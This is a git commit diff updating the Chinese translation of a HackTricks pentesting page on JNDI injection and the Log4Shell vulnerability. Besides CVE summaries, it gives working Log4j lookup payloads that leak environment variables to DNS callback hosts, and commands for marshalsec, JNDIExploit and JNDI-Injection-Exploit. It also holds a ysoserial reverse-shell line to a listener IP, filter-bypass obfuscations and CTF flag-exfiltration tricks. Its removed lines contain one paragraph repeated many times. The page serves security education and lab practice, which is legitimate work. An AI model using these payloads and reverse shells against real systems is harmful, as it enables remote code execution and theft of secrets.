Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo

This commit is contained in:
Translator 2024-03-16 12:09:07 +00:00
parent 83772be26d
commit 634fbdc7e7

View file

@ -8,15 +8,15 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -47,13 +47,13 @@ Java对象可以使用JNDI命名引用存储和检索有两种形式
* _ldap://attacker-server/bar_
* _iiop://attacker-server/bar_
尽管有保护措施漏洞仍然存在主要是由于缺乏对从不受信任来源加载JNDI的保护措施以及绕过现有保护的可能性。
尽管有保护措施漏洞仍然存在主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。
### JNDI示例
![](<../../.gitbook/assets/image (655) (1) (1).png>)
即使您已设置了**`PROVIDER_URL`**您也可以在查找中指定不同的URL并进行访问:`ctx.lookup("<attacker-controlled-url>")`,这是攻击者将滥用以从由他控制的系统加载任意对象的方法。
即使您已设置了**`PROVIDER_URL`**您也可以在查找中指定不同的URL并访问`ctx.lookup("<attacker-controlled-url>")`,这是攻击者将滥用以从由他控制的系统加载任意对象的方法。
### CORBA概述
@ -69,7 +69,7 @@ CORBA通用对象请求代理体系结构使用**可互操作对象引用
* Socket权限例如`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
* 文件读取权限,可以是全局的(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)或针对可能放置恶意文件的特定目录。
然而,一些供应商政策可能宽松,并默认允许这些连接。
然而,一些供应商政策可能宽松,允许默认情况下进行这些连接。
### RMI上下文
@ -86,13 +86,13 @@ CORBA通用对象请求代理体系结构使用**可互操作对象引用
因此,有几种攻击这些选项的方法。\
**攻击者可以在LDAP记录中植入有效负载**这些有效负载将在收集它们的系统中执行如果您可以访问LDAP服务器则非常有用可以**危害数十台机器**。另一种利用方法是在LDAP搜索中执行**中间人攻击**,例如。
如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将搜索的LDAP并且可以发送回利用log4shell
如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将搜索的LDAP并且可以发送回利用log4shell
#### 反序列化利用
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
**利用被序列化**并将被反序列化。\
**利用被序列化**将进行反序列化。\
如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,则需要在类路径中滥用小工具。
#### JNDI引用利用
@ -103,18 +103,18 @@ CORBA通用对象请求代理体系结构使用**可互操作对象引用
## Log4Shell漏洞
该漏洞出现在Log4j中因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是不同[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。
该漏洞是由于Log4j支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi` Lookup功能。此功能通过JNDI检索变量。通常密钥会自动添加前缀`java:comp/env/`。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能通过JNDI检索变量。通常密钥会自动添加前缀`java:comp/env/`。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。
如果密钥中包含**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,**LDAP服务器将查询对象**。这些Lookups可以用于Log4j的配置以及记录行时使用
如果密钥中存在**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,**LDAP服务器将查询对象**。这些查找可以用于Log4j的配置以及记录行时
因此要实现RCE只需有一个**受用户控制的信息的易受攻击版本的Log4j**。由于这是Java应用程序广泛使用的库用于记录信息包括面向互联网的应用程序因此很常见使用log4j记录例如接收的HTTP标头如User-Agent。但是log4j**不仅用于记录HTTP信息还用于记录任何输入**和开发人员指定的数据。
## Log4Shell相关CVE概述
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[关键]**
这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**影响版本从2.0-beta9到2.14.1。它允许**远程代码执行RCE**使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。有用于防御的Sigma规则可用[规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml)[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)
这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**影响版本从2.0-beta9到2.14.1。它允许**远程代码执行RCE**使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。可用于防御的Sigma规则[规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml)[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[关键]**
@ -122,11 +122,11 @@ CORBA通用对象请求代理体系结构使用**可互操作对象引用
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**
影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复该分支已经终止生命周期建议升级到`log4j-core 2.17.0`。
影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复程序,该分支已经终止生命周期,建议升级到`log4j-core 2.17.0`。
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**
这个漏洞影响**Logback日志框架**这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞新版本1.3.0-alpha11和1.2.9)已发布以解决此问题。
这个漏洞影响**Logback日志框架**这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞新版本1.3.0-alpha11和1.2.9)已发布以解决此问题。
### **CVE-2021-45105** **\[高]**
@ -140,7 +140,7 @@ Log4j 2.16.0存在一个DoS漏洞促使发布`log4j 2.17.0`来修复该CVE。
### 发现
如果没有受保护,这个漏洞很容易被发现,因为它会向您在负载中指定的地址发送至少一个**DNS请求**。因此,像以下这样的负载
如果未受保护,这个漏洞很容易被发现,因为它会向您在有效载荷中指定的地址发送至少一个**DNS请求**。因此,像以下这样的有效载荷
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`(使用[canarytokens.com](https://canarytokens.org/generate)
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`(使用[interactsh](https://github.com/projectdiscovery/interactsh)
@ -148,7 +148,7 @@ Log4j 2.16.0存在一个DoS漏洞促使发布`log4j 2.17.0`来修复该CVE。
* `${jndi:ldap://2j4ayo.dnslog.cn}`(使用[dnslog](http://dnslog.cn)
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}`(使用[huntress](https://log4shell.huntress.com)
请注意,**即使收到DNS请求也不意味着应用程序是可利用的**(甚至是有漏洞的),您需要尝试利用它。
请注意,**即使收到DNS请求也不意味着应用程序是可利用的**(甚至是有漏洞的),您需要尝试利用它。
{% hint style="info" %}
请记住,要**利用版本2.15**,您需要添加**本地主机检查绕过**${jndi:ldap://**127.0.0.1#**...}
@ -169,7 +169,7 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
* 滥用漏洞**窃取信息**
例如,您可以请求类似于:\
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到带有环境变量值的**DNS请求**,则知道应用程序存在漏洞。
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到带有环境变量值的**DNS请求**,则说明应用程序存在漏洞。
您可以尝试**泄露**的其他信息:
```
@ -227,16 +227,16 @@ Any other env variable name that could store sensitive information
{% hint style="info" %}
在 JDK 版本高于 6u141、7u131 或 8u121 的主机上,已经针对 LDAP 类加载攻击向量进行了保护。这是因为默认情况下禁用了 `com.sun.jndi.ldap.object.trustURLCodebase`,阻止了 JNDI 通过 LDAP 加载远程代码库。然而,需要注意的是这些版本**仍然无法防御反序列化攻击向量**。
对于试图利用这些较高 JDK 版本的攻击者来说,有必要利用 Java 应用程序中的**受信任小工具**。像 ysoserial 或 JNDIExploit 这样的工具经常用于此目的。相反,利用较低 JDK 版本相对更容易,因为这些版本可以被操纵以加载和执行任意类。
对于试图利用这些较高 JDK 版本的攻击者来说,有必要利用 Java 应用程序中的**受信任小工具**。诸如 ysoserial 或 JNDIExploit 的工具经常用于此目的。相反,利用较低 JDK 版本相对较容易,因为这些版本可以被操纵以加载和执行任意类。
要了解**更多信息**_如 RMI 和 CORBA 向量的限制_请查看之前的 JNDI 命名参考部分或[https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %}
### RCE - 使用自定义有效载荷的 Marshalsec
您可以在 **THM box** 中测试这个[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
您可以在 **THM box** 中测试此功能[**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)jar 版本可在[**这里**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序:
使用工具 [**marshalsec**](https://github.com/mbechler/marshalsec)jar 版本可在[**此处**](https://github.com/RandomRobbieBF/marshalsec-jar)找到)。这种方法建立了一个 LDAP 引荐服务器,将连接重定向到一个次要的 HTTP 服务器,其中将托管利用程序:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
@ -254,21 +254,21 @@ e.printStackTrace();
```
将Java文件编译为类文件使用`javac Exploit.java -source 8 -target 8`。接下来,在包含类文件的目录中启动**HTTP服务器**`python3 -m http.server`。确保**marshalsec LDAP服务器**引用了这个HTTP服务器。
通过发送类似以下负载触发对易受攻击的Web服务器上的exploit类的执行
通过发送类似以下负载的触发方式,触发对易受攻击的Web服务器上的exploit类的执行
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**注意:** 此漏洞依赖于Java的配置允许通过LDAP加载远程代码库。如果不允许此操作请考虑利用受信任的类执行任意代码。
**注意:** 这个漏洞利用取决于Java的配置允许通过LDAP加载远程代码库。如果这是不允许的请考虑利用受信任的类来执行任意代码。
### RCE - **JNDIExploit**
{% hint style="info" %}
请注意由于发现了log4shell作者在github上删除了此项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您希望尊重作者的决定,请使用其他方法来利用此漏洞。
请注意由于发现了log4shell作者出于某种原因从github中删除了这个项目。您可以在[https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2)中找到缓存版本,但如果您尊重作者的决定,请使用其他方法来利用此漏洞。
此外您无法在wayback machine中找到源代码因此要么分析源代码要么执行jar文件但要知道您不知道自己在执行什么。
此外您无法在wayback machine中找到源代码因此要么分析源代码要么执行jar文件知道您不知道自己在执行什么。
{% endhint %}
例如您可以在端口8080上运行此**易受log4shell影响的Web服务器**[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)_在自述文件中您将找到如何运行它_。此易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。
例如您可以在端口8080上运行此**易受log4shell影响的Web服务器**[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)_在自述文件中您将找到如何运行它的说明_。这个易受攻击的应用正在使用易受攻击版本的log4shell记录HTTP请求头_X-Api-Version_的内容。
然后,您可以下载**JNDIExploit** jar文件并执行以下操作
```bash
@ -276,8 +276,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
阅读代码仅几分钟在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载并将受害者重定向到HTTP服务器后者将提供利用。\
在_com.feihong.ldap.gadgets_中您可以找到可用于执行所需操作(可能执行任意代码)的**一些特定小工具**。在_com.feihong.ldap.template_中您可以看到将**生成利用**的不同模板类。
阅读代码仅几分钟在_com.feihong.ldap.LdapServer_和_com.feihong.ldap.HTTPServer_中您可以看到**LDAP和HTTP服务器是如何创建**的。LDAP服务器将了解需要提供的有效负载并将受害者重定向到HTTP服务器后者将提供利用。\
在_com.feihong.ldap.gadgets_中您可以找到**一些特定的小工具**,可用于执行所需的操作(潜在执行任意代码)。在_com.feihong.ldap.template_中您可以看到将**生成利用**的不同模板类。
您可以使用**`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**查看所有可用的利用。一些有用的利用包括:
```bash
@ -310,24 +310,28 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以生效。然而,通常情况下不会生效因为默认情况下Java未配置为使用LDAP加载远程代码库我认为这是因为它没有滥用受信任的类来执行任意代码。_
_这种利用自定义生成的Java对象的攻击在像**THM太阳房间**这样的实验室中可以使用。然而,这通常不起作用因为默认情况下Java未配置为使用LDAP加载远程代码库我认为这是因为它没有滥用受信任的类来执行任意代码。_
### RCE - ysoserial & JNDI-Exploit-Kit
### RCE - JNDI注入利用加强版
这个选项非常适用于攻击**仅信任指定类而不是所有人的Java版本**。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以被用作工具来**执行任意代码**_ysoserial滥用的受信任类必须被受害者Java程序使用以使利用生效_
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) 是另一个用于生成**可用的JNDI链接**并通过启动RMI服务器、LDAP服务器和HTTP服务器提供后台服务的工具。\
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)可以创建反序列化利用该利用将被JNDI下载
### RCE - ysoserial 和 JNDI利用工具包
这个选项对于攻击**仅信任指定类而不是所有人的Java版本**非常有用。因此,**ysoserial**将被用来生成**受信任类的序列化**,这些序列化可以用作**执行任意代码的小工具**_ysoserial滥用的受信任类必须被受害者Java程序使用以使利用生效_
使用**ysoserial**或[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)您可以创建将被JNDI下载的反序列化利用程序
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在其中漏洞机器连接时等待利用。您可以使用JNDI-Exploit-Kit自动生成的**不同利用**也可以使用您自己生成的或者由ysoserial生成的**反序列化有效载荷**
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDI链接**,在那里漏洞将等待来自受影响机器的连接。您可以提供由JNDI-Exploit-Kit自动生成的**不同的漏洞利用**甚至是您自己生成的反序列化有效负载由您或ysoserial生成
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
![](<../../.gitbook/assets/image (642) (1) (1).png>)
现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向 shell**,只需发送到一个易受攻击的 log4j 版本:**`${ldap://10.10.14.10:1389/generated}`**
现在您可以轻松使用生成的JNDI链接来利用漏洞并获取**反向shell**只需发送到一个易受攻击的log4j版本**`${ldap://10.10.14.10:1389/generated}`**
### 绕过方式
```java
@ -361,7 +365,7 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
## Log4Shell 漏洞利用后
在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何潜在地滥用**Log4J**的一些功能。
在这个[**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中很好地解释了如何**滥用**Log4J的一些功能。
Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)中有一些有趣的句子:
@ -385,87 +389,26 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
### 异常中的数据窃取
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常
在CTF中你**无法访问java应用程序的stderr**但Log4J的**异常会发送到stdout**并在python应用程序中打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是:**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,异常将显示标志值:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常
仅提一下,你也可以注入新的[**转换模式**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)并触发将被记录到`stdout`的异常。例如
![](<../../.gitbook/assets/image (157).png>)
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
### 转换模式异常
这并没有发现有用于在错误消息中窃取日期,因为查找在转换模式之前没有解决,但它可能对其他事情有用,比如检测。
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
### 转换模式正则表达式
![](<../../.gitbook/assets/image (157).png>)
然而,可以使用一些支持正则表达式的**转换模式**来通过使用正则表达式和滥用**二分查找**或**基于时间**的行为从查找中窃取信息。
### 转换模式异常
* **通过异常消息进行二分查找**
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
### 转换模式异常
在CTF中你**无法访问**使用log4J的java应用程序的stderr但Log4J**异常会发送到stdout**这在python应用程序中被打印出来。这意味着触发异常后我们可以访问内容。一个用于窃取标志的异常是**`${java:${env:FLAG}}`**。这能够工作是因为**`${java:CTF{blahblah}}`**不存在,将显示一个具有标志值的异常:
![](<../../.gitbook/assets/image (157).png>)
转换模式**`%replace`**可以用于**替换**字符串中的**内容**,甚至使用**正则表达式**。它的工作方式如下:`replace{pattern}{regex}{substitution}`\
滥用这种行为,你可以使替换**在正则表达式匹配到任何字符串内的内容时触发异常**(如果未找到则不会触发异常),如下所示:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@ -473,10 +416,10 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
```
* **基于时间的攻击**
正如前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的有效载荷,在找到标志时引发**超时**。\
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷会在那个CTF比赛中触发**超时**
正如前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的有效载荷来引发超时,以便在找到标志时触发超时。\
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的有效载荷将在那个CTF比赛中触发超时
在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它没有使用 ReDoS 攻击,而是使用了一种**放大攻击**来导致响应中的时间差异:
在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它使用了一种**放大攻击**来导致响应中的时间差异:
> ```
> /%replace{
@ -495,9 +438,9 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
> }{#}{######################################################}
> ```
>
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。 **然后,每个生成的 29 个 `#` 都会被替换为 54 个 `#`**。 这个过程重复**6次**,总共产生了 `29*54*54^6* =`` `` `**`96816014208`** **个 `#`**
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它可能不是标志的一部分)。**然后,每个生成的 29 个 `#` 将被替换为 54 个 `#`**。这个过程重复进行 **6 次**,总共产生了 ` 29*54*54^6* =`` `` `**`96816014208`** **个 `#`**
>
> 替换这么多 `#` 触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。如果标志不以 `flagGuess` 开头,我们将收到非 500 状态码)
> 替换这么多 `#` 触发 Flask 应用程序的 10 秒超时,从而导致向用户发送 HTTP 状态码 500。如果标志不以 `flagGuess` 开头,我们将收到非 500 状态码)
## 参考资料
@ -512,20 +455,20 @@ Log4j的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家,使用</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 如果您想在 HackTricks 中看到您的 **公司广告** **下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>